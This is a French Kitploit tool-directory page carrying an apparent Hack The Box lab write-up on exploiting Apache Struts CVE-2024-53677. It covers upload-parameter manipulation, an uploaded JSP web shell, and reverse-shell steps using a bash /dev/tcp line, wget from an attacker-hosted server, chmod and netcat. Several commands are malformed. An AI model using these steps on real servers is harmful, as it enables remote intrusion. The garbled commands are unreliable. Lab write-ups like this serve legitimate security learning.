Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-53677-Exploitation — Exploitation d'Apache Struts CVE-2024-53677 | Kitploit
Outils/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Exploitation d'Apache Struts CVE-2024-53677

Voir le dépôt
il y a 1 anPas encore vérifié

CVE-2024-53677 Exploitation

Apache Struts RCE via File Upload

Description

CVE-2024-53677 est une vulnérabilité qui impacte Apache Struts de 2.0.0 jusqu'à 6.4.0. ⚠️ Elle a été exploitée dans un laboratoire Hack The Box.

La logique de téléversement de fichiers dans Apache Struts est défaillante. Un attaquant peut manipuler les paramètres de téléversement de fichiers pour permettre un traversement de chemin (path traversal) et, dans certaines circonstances, cela peut mener au téléversement d'un fichier malveillant pouvant être utilisé pour exécuter du code à distance (RCE). 🔗 Référence : Entrée NIST NVD

Reconnaissance

Identification d'un vecteur d'attaque

image
  1. Le site web dispose d'une fonctionnalité de téléversement d'images.
  2. Les fichiers téléversés sont stockés à l'adresse : ip/uploads/20250213_014317/starwars.png
  3. En cas de téléversement réussi, le lien de partage de l'image possède l'URL ip/s/04ab2f40
  4. Détermination de la version d'Apache Struts
  • Un pom.xml exposé a révélé Apache Struts 6.3.0.1
  • Confirmé comme vulnérable à CVE-2024-53677

📸 Exposition du pom.xml :
image

Exploitation

Modification de la requête de téléversement de fichier

Pour exploiter cette vulnérabilité, nous utilisons BurpSuite et sa fonctionnalité Repeater afin de modifier les paquets avant de les envoyer. Ci-dessous, une requête non modifiée.

image

Nos problèmes sont que le site bloque les types de fichiers qui ne sont pas [JPG, JPEG, PNG, GIF] et que tout ce qui se trouve dans le répertoire /uploads est non exécutable. Pour contourner ces problèmes, nous allons d'abord ajouter un autre paramètre.

test

Le paramètre ajouté exploite OGNL (Object-Graph Navigation Language), qu'Apache Struts utilise pour traiter les données d'entrée. FileUploadInterceptor traite ce paramètre avant de gérer l'image PNG réelle, ce qui permet aux attaquants de manipuler la requête et potentiellement d'exécuter du code arbitraire.

Finalisation de l'exploit

Après l'ajout du paramètre modifié, la réponse du serveur confirme que le fichier a bien été téléversé. Cependant, nous remarquons que le chemin du fichier diffère du répertoire de téléversement habituel.

plshelp

Ajout de la charge utile (payload)

Ensuite, nous intégrons la charge utile en l'ajoutant directement sous les données de l'image et juste avant nos paramètres injectés. La charge utile du shell peut être obtenue via 🔗 Référence : shell.jsp De plus, un détail crucial est que la requête exige « Upload » avec un U majuscule au lieu de « upload » en minuscules. Cela suit la structure de l'exploit observée dans : 🔗 Référence : exploit.py

Une fois ces modifications en place, nous envoyons la requête. Le serveur répond de manière similaire, confirmant un téléversement réussi et reflétant le chemin de fichier ajusté.

Navigation dans l'exploit

Maintenant, en naviguant vers l'URL suivante, nous pouvons interagir avec notre shell téléversé.

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
final shell

À ce stade, nous pouvons établir un reverse shell en utilisant un serveur web hébergé localement. Un moyen simple d'y parvenir est d'utiliser Python : python3 http.server -m 3004

Ensuite, créez un script shell basique (par exemple, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

Utilisez wget pour le télécharger wget http://ip_address/filename -O /tmp

Après le téléchargement, accordez les permissions d'exécution chmod +777 /tmp/filename

puis utilisez nc (netcat) pour écouter le reverse shell. nc -lvnp $PORT

Enfin, exécutez ./filename

Télécharger l’outil